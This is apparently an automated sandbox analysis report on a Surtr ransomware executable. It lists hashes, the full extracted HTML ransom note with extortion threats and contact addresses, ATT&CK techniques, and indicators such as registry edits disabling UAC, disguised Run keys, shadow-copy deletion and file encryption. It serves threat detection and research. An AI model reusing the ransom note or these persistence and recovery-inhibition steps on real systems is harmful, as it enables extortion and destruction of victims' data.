surtr | 8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980

Resubmissions

01-01-2025 00:01

250101-aay9eawncs 10

31-12-2024 23:46

241231-3sc34swjct 10

Analysis

max time kernel
437s
max time network
440s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
31-12-2024 23:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
Size

320KB
MD5

e6fc190168519d6a6c4f1519e9450f0f
SHA1

af2080ddf1064fb80c7b9af942aaabf264441098
SHA256

8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980
SHA512

4522d4e3f8a38dbceb30d09ea04ceeacc33bb273d702d706be68405cd4c9492f862f4ae741f4e0140b54203b3db521e96663f9757bb241b1ac63c1eda3ebb6ba
SSDEEP

6144:Q4K8rYBWqjbqL7busNWGl3GDmm+miR9zrmkdAZ:Q46QKbQJNDl3cmgiRlK

Score

10^/10

surtr defense_evasion evasion execution impact persistence ransomware spyware stealer trojan upx

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\SURTR_README.hta

Ransom Note

<!DOCTYPE html><html lang="en"> <head> <meta http-equiv="x-ua-compatible" content="ie = 9"> <meta name="viewport" content="width = device-width, initial-scale = 1.0"> <title>SurtrRansomware</title> <HTA:APPLICATION ID="SurtrRansomware" APPLICATIONNAME="SurtrRansomware" icon=explorer.exe scroll=no contextmenu=no innerBorder=no windowState=maximize minimizeButton=no singleInstance=yes sysMenu=no VERSION="1.0" WINDOWSTATE="maximize"/> </head><style>@import url('https://fonts.googleapis.com/css2?family=Didact+Gothic&display=swap');@import url('https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.css');body { overflow: hidden; font-family: 'Didact Gothic', sans-serif; color:#333; box-sizing: border-box; }* { box-sizing: border-box; }a { text-decoration: none;}header { background-color: #f2f2f2; height: 90px; }nav { width: 960px; margin: 0 auto; display: flex; justify-content: space-between;}.logo { width: 100px;}.logo img { width: 100px; }.lang-menu { width: 100px; text-align: right; font-weight: bold; margin-top: 25px; position: relative;}.lang-menu .selected-lang { display: flex; justify-content: space-between; line-height: 2; cursor: pointer;}.lang-menu .selected-lang:before { content: ''; display: inline-block; width: 32px; height: 32px; background-image: url(https://www.countryflags.io/us/flat/32.png); background-size: contain; background-repeat: no-repeat;}.lang-menu ul { margin: 0; padding: 0; display: none; background-color: #fff; border: 1px solid #f8f8f8; position: absolute; top: 45px; right: 0px; width: 125px; border-radius: 5px; box-shadow: 0px 1px 10px rgba(0,0,0,0.2);}p{ display: -webkit-box; display: -ms-flexbox; display: inline; -webkit-box-pack: start; -ms-flex-pack: start; justify-content: flex-start; }.lang-menu ul li { list-style: none; text-align: left; display: flex; justify-content: space-between;}.lang-menu ul li a { text-decoration: none; width: 125px; padding: 5px 10px; display: block;}.lang-menu ul li:hover { background-color: #f2f2f2;}.lang-menu ul li a:before { content: ''; display: inline-block; width: 25px; height: 25px; vertical-align: middle; margin-right: 10px; background-size: contain; background-repeat: no-repeat;}.de:before { background-image: url(https://www.countryflags.io/de/flat/32.png);}.en:before { background-image: url(https://www.countryflags.io/us/flat/32.png);}.fr:before { background-image: url(https://www.countryflags.io/fr/flat/32.png);}.ar:before { background-image: url(https://www.countryflags.io/ae/flat/32.png);}.lang-menu:hover ul { display: block;}i { color: #dc143c; font-style: normal;}td{ font-size: 1.4rem; }@media only screen and (max-width: 1370px) { td{ font-size: 1rem; } h1.ex1 { font-size:1.2rem !important; } p.ex2{ font-size:1rem !important; } p.ex3{ font-size:1.4rem !important; } h1#noticefirst{ font-size:1.5rem !important; } } </style> </style> <body> <div style="margin-left: 60px; margin-right: 60px; margin-top:20px;"> <div style="display: inline; "> <p class="ex3" style="border-left: 6px solid rgb(255, 55, 55); font-size: 40px; background-color: rgb(255, 255, 255); padding-left: 10px; color: rgb(88, 88, 88); "><strong >SurtrRansomware</strong> </p> </div> <div style="width: 100%; border-radius: 4px; margin-top: 10px; border-style: solid; border-color: rgb(255, 78, 78); border-width: 0.5px; text-align: center; background-color: rgb(255, 249, 249); "> <h1 style="font-size: 1.8rem; margin-left: 10px; "> OOPS ALL YOUR <b style="color: #fff; background-color: rgb(248, 26, 26); padding: 4px; font-size: 1.8rem; ">IMPORTANT FILES</b> HAVE BEEN ENCRYPTED AND <b style="color: #fff; background-color: rgb(248, 26, 26); padding: 4px; font-size: 1.8rem; ">STOLEN !!</b></h1> </div> <h1 id="noticefirst" > Notice : There is only one way to restore your data read the boxes carefully! </h1> <div style="width: 100%; border-radius: 4px; border-style: solid; position: relative; border-color: rgb(248, 26, 26); border-width: 0.5px 0.5px 0.5px 25px; background-color: rgb(255, 227, 227); padding-top: 1%; padding-bottom: 1%; "> <div style="width: 100%; margin-top: -7px;"> <h1 class="ex1" style=" margin-bottom: 7px; margin-top: 0px; margin-left: 10px; font-size:1.8rem; color: #000; ">Attention :</h1> </div> <div style="width: 48%; display: inline-block; position: absolute; right : 0; "> <div style=" height:100%; margin-left: 15px; "> <table > <tbody> <tr> <td style="text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> Do Not change file names.</strong></td> </tr> <tr style="height: 56px; "> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong>Do Not try to decrypt using third party softwares , it may cause permanent data loss .</strong></td> </tr> <tr> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> If you do not pay the fee within one month , your important files will be published in our public belog .</strong></td> </tr> </tbody> </table> </div> </div> <div style="width: 48%; display: inline-block; "> <div style=" height:100%; margin-left: 15px; "> <table > <tbody> <tr> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> Do not pay any money before decrypting the test files.</strong></td> </tr> <tr style="height: 56px; "> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; "width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> You can use our 50% discount if you pay the fee within first 15 days of encryption . otherwise the price will be doubled.</strong></td> </tr> <tr > <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> In order to warranty you , our team will decrypt 3 of your desired files for free.but you need to pay the specified price for the rest of the operation .</strong></td> </tr> </tbody> </table> </div> </div> </div> <div style="width: 100%; border-radius: 4px; margin-top: 5px; "> <div style="width: 100%; display: flex; flex-direction: column; border-style: solid; padding top: 1%; padding-bottom: 1%; border-color: #4d53eb; border-width: 0.5px 0.5px 0.5px 25px; border-radius: 4px; background-color: #f3f3fc; " > <div><h1 class="ex1" style=" margin-bottom: 7px; margin-top: 0px; margin-left: 10px; font-size:1.6rem; color: #000; ">How To Decrypt :</h1></div> <div style=" height:100%; margin-left: 15px; "> <table style="table-layout: fixed; "> <tbody> <tr> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> Your system is offline . in order to contact us you can email this address <i> [email protected] </i> use this ID (<i style="color: #dc143c; " >7rt9O7r9IRuMSR</i>) for the title of your email .</strong></td> </tr> <tr style="height: 56px; "> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> If you weren't able to contact us within 24 hours please email : <i > [email protected] </i></strong></td> </tr> <tr> <td style=" text-align: center; color: #dc143c; padding: 0px; vertical-align: middle; " width="20">☢</td> <td style=" text-align: left; padding: 0px; vertical-align: middle; " ><strong> If you didn't get any respond within 48 hours use this link (Not Available Now).send your ID and your cryptor name (SurtrRansomwareUserName) therefore we can create another way to contact you as soon as possible </i></strong></td> </tr> </tbody> </table> </div> </div> </div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

Signatures

Detects Surtr Payload 38 IoCs

resource	yara_rule
behavioral2/memory/4852-3-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-8-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-32-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-5-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-4-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-35-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-36-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-34-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-37-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-41-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-43-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-49-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-58-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-57-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-56-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-55-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-54-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-53-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-52-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-51-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-50-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-48-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-47-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-46-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-45-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-44-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-42-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-40-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-39-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-38-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-121-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-120-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-117-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-116-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-119-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-118-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-10208-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr
behavioral2/memory/4852-10223-0x0000000140000000-0x0000000140136000-memory.dmp	family_surtr

Surtr
Ransomware family first seen in late 2021.
ransomware surtr
Surtr family
surtr

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4400	bcdedit.exe
284	bcdedit.exe

Renames multiple (9724) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Drops startup file 6 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchos1 = "C:\\ProgramData\\Service\\Surtr.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchos2 = "C:\\ProgramData\\Service\\Surtr.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\svchos3 = "C:\\ProgramData\\Service\\Surtr.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\svchos4 = "C:\\ProgramData\\Service\\Surtr.exe"	reg.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\M:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\N:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\R:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\Y:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\B:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\S:	vssadmin.exe
File opened (read-only)	\??\X:	vssadmin.exe
File opened (read-only)	\??\Q:	vssadmin.exe
File opened (read-only)	\??\J:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\M:	vssadmin.exe
File opened (read-only)	\??\L:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\R:	vssadmin.exe
File opened (read-only)	\??\I:	vssadmin.exe
File opened (read-only)	\??\V:	vssadmin.exe
File opened (read-only)	\??\H:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\I:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\K:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\A:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\T:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\O:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\U:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\W:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\N:	vssadmin.exe
File opened (read-only)	\??\P:	vssadmin.exe
File opened (read-only)	\??\A:	vssadmin.exe
File opened (read-only)	\??\L:	vssadmin.exe
File opened (read-only)	\??\Y:	vssadmin.exe
File opened (read-only)	\??\W:	vssadmin.exe
File opened (read-only)	\??\K:	vssadmin.exe
File opened (read-only)	\??\Z:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\G:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\Z:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\J:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\O:	vssadmin.exe
File opened (read-only)	\??\U:	vssadmin.exe
File opened (read-only)	\??\E:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\P:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\Q:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\S:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\T:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\V:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened (read-only)	\??\X:	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3216 set thread context of 4852	3216	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe	83

UPX packed file 41 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4852-0-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-1-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-2-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-3-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-8-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-32-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-5-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-4-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-35-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-36-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-34-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-37-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-41-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-43-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-49-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-58-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-57-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-56-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-55-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-54-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-53-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-52-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-51-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-50-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-48-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-47-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-46-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-45-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-44-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-42-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-40-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-39-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-38-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-121-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-120-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-117-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-116-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-119-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-118-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-10208-0x0000000140000000-0x0000000140136000-memory.dmp	upx
behavioral2/memory/4852-10223-0x0000000140000000-0x0000000140136000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\MobileScanCard_Light.pdf.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019R_Trial-pl.xrm-ms.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientLangPack_eula.txt.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\config.js.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\it-it\ui-strings.js.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.371\goopdateres_no.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\PresentationFramework-SystemXmlLinq.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019VL_KMS_Client_AE-ul.xrm-ms.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Publisher2019R_Trial-ul-oob.xrm-ms.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\System.WorkflowServices.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.2\System.Private.CoreLib.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\it-it\ui-strings.js.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\ado\es-ES\msader15.dll.mui.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_highcontrast.png.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fr-fr\ui-strings.js.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_2x.png.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\nb-no\ui-strings.js.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Library\Analysis\FUNCRES.XLAM.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Cartridges\as80.xsl.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\OCHelper.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.Format.ps1xml.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Common Files\System\ado\msado25.tlb.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Garamond-TrebuchetMs.xml.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\index.win32.stats.json.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_duplicate_18.svg.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\zh-cn\ui-strings.js.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\sv-se\ui-strings.js.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\msdatasrc.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\ImagingEngine.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\it\UIAutomationClientSideProviders.resources.dll.[[email protected]].SURT	8199ef63e0058be6217ec8392258fbe7fac9fb556b8e87f40a3a45835f424980.exe
